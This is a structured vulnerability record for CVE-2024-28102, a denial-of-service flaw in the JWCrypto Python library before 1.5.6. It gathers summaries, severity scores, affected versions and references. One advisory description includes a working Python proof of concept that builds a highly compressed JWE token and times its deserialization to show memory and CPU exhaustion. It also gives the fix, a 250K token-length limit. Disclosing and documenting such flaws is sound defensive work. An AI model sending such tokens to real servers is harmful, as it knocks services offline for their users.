{"id":"CVE-2024-28102","aliases":["CVE-2024-28102","GHSA-j857-7rvv-vj97","PYSEC-2026-1484"],"related":[],"kind":"vulnerability","state":"published","title":"JWCrypto vulnerable to JWT bomb Attack in `deserialize` function","summary":"JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.","source":"cvelist"},{"lang":"en","text":"## Affected version\nVendor: https://github.com/latchset/jwcrypto\nVersion: 1.5.5\n\n## Description\nAn attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio.\nWhen the server processes this Token, it will consume a lot of memory and processing time.\n\n## Poc\n```python\nfrom jwcrypto import jwk, jwe\nfrom jwcrypto.common import json_encode, json_decode\nimport time\npublic_key = jwk.JWK()\nprivate_key = jwk.JWK.generate(kty='RSA', size=2048)\npublic_key.import_key(**json_decode(private_key.export_public()))\n\n\npayload = '{\"u\": \"' + \"u\" * 400000000 + '\", \"uu\":\"' + \"u\" * 400000000 + '\"}'\nprotected_header = {\n    \"alg\": \"RSA-OAEP-256\",\n    \"enc\": \"A256CBC-HS512\",\n    \"typ\": \"JWE\",\n    \"zip\": \"DEF\",\n    \"kid\": public_key.thumbprint(),\n}\njwetoken = jwe.JWE(payload.encode('utf-8'),\n                   recipient=public_key,\n                   protected=protected_header)\nenc = jwetoken.serialize(compact=True)\n\nprint(\"-----uncompress-----\")\n\nprint(len(enc))\n\nbegin = time.time()\n\njwetoken = jwe.JWE()\njwetoken.deserialize(enc, key=private_key)\n\nprint(time.time() - begin)\n\nprint(\"-----compress-----\")\n\npayload = '{\"u\": \"' + \"u\" * 400000 + '\", \"uu\":\"' + \"u\" * 400000 + '\"}'\nprotected_header = {\n    \"alg\": \"RSA-OAEP-256\",\n    \"enc\": \"A256CBC-HS512\",\n    \"typ\": \"JWE\",\n    \"kid\": public_key.thumbprint(),\n}\njwetoken = jwe.JWE(payload.encode('utf-8'),\n                   recipient=public_key,\n                   protected=protected_header)\nenc = jwetoken.serialize(compact=True)\n\nprint(len(enc))\n\nbegin = time.time()\n\njwetoken = jwe.JWE()\njwetoken.deserialize(enc, key=private_key)\n\nprint(time.time() - begin)\n```\nIt can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer.\n<img width=\"172\" alt=\"image\" src=\"https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785\">\n\n\n\n## Mitigation\nTo mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also\nbeen adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing\nattackers from exploiting this vulnerability with high compression ratio tokens.\n\n## References\n[1] [CVE-2024-21319](https://github.com/AzureAD/azure-activedirectory-identitymodel-extensions-for-dotnet/security/advisories/GHSA-8g9c-28fc-mcx2)","format":"markdown","source":"ghsa"},{"lang":"es","text":"JWCrypto implementa las especificaciones JWK, JWS y JWE utilizando criptografía Python. Antes de la versión 1.5.6, un atacante podía provocar un ataque de denegación de servicio al pasar un token JWE malicioso con una alta tasa de compresión. Cuando el servidor procese este token, consumirá mucha memoria y tiempo de procesamiento. La versión 1.5.6 corrige esta vulnerabilidad limitando la longitud máxima del token.","source":"nvd"}],"published":"2024-03-06T20:00:56.000Z","modified":"2026-09-10T03:50:10.546Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H","score":6.8,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H","score":6.8,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H","score":6.8,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H","score":6.8,"rating":"MEDIUM"}],"cwes":["CWE-770"],"affected":[{"ranges":[{"version":"< 1.5.6","status":"affected"}],"vendor":"latchset","product":"jwcrypto","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"1.5.6","status":"affected"}],"vendor":"latchset","product":"jwcrypto","cpe":"cpe:2.3:a:latchset:jwcrypto:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.5.6"}],"ecosystem":"PyPI","package":"jwcrypto","purl":"pkg:pypi/jwcrypto","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.5.6"}],"vendor":"latchset","product":"jwcrypto","cpe":"cpe:2.3:a:latchset:jwcrypto:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"status":"affected","version":"11.0"}],"vendor":"debian","product":"debian_linux","cpe":"cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.5.6"}],"ecosystem":"PyPI","package":"jwcrypto","purl":"pkg:pypi/jwcrypto","source":"pysec"}],"references":[{"url":"https://github.com/latchset/jwcrypto/security/advisories/GHSA-j857-7rvv-vj97","tags":["exploit","vendor-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/latchset/jwcrypto/commit/90477a3b6e73da69740e00b8161f53fea19b831f","tags":["fix","patch","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://www.vicarius.io/vsociety/posts/denial-of-service-vulnerability-discovered-in-jwcrypto-cve-2024-28102-28103","tags":["exploit","press/media-coverage","technical-description","web"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://lists.debian.org/debian-lts-announce/2024/09/msg00026.html","tags":["mailing-list","third-party-advisory","web"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-28102","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/latchset/jwcrypto","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/jwcrypto","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-j857-7rvv-vj97","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2024-08-02T19:56:39.446Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-28102","url":"https://www.cve.org/CVERecord?id=CVE-2024-28102","licence":"CVE Terms of Use","modified":"2024-09-09T13:06:44.240Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-j857-7rvv-vj97","url":"https://github.com/advisories/GHSA-j857-7rvv-vj97","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:10.546Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-28102","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-28102","licence":"Public domain","modified":"2026-06-17T07:20:58.403Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-1484","url":"https://osv.dev/vulnerability/PYSEC-2026-1484","licence":"CC-BY-4.0","modified":"2026-07-07T17:47:27.855Z"}],"updatedAt":"2026-11-25T22:58:37.797Z","epss":{"score":0.0098,"percentile":0.63225,"date":"2026-12-01T12:00:22.000Z"}}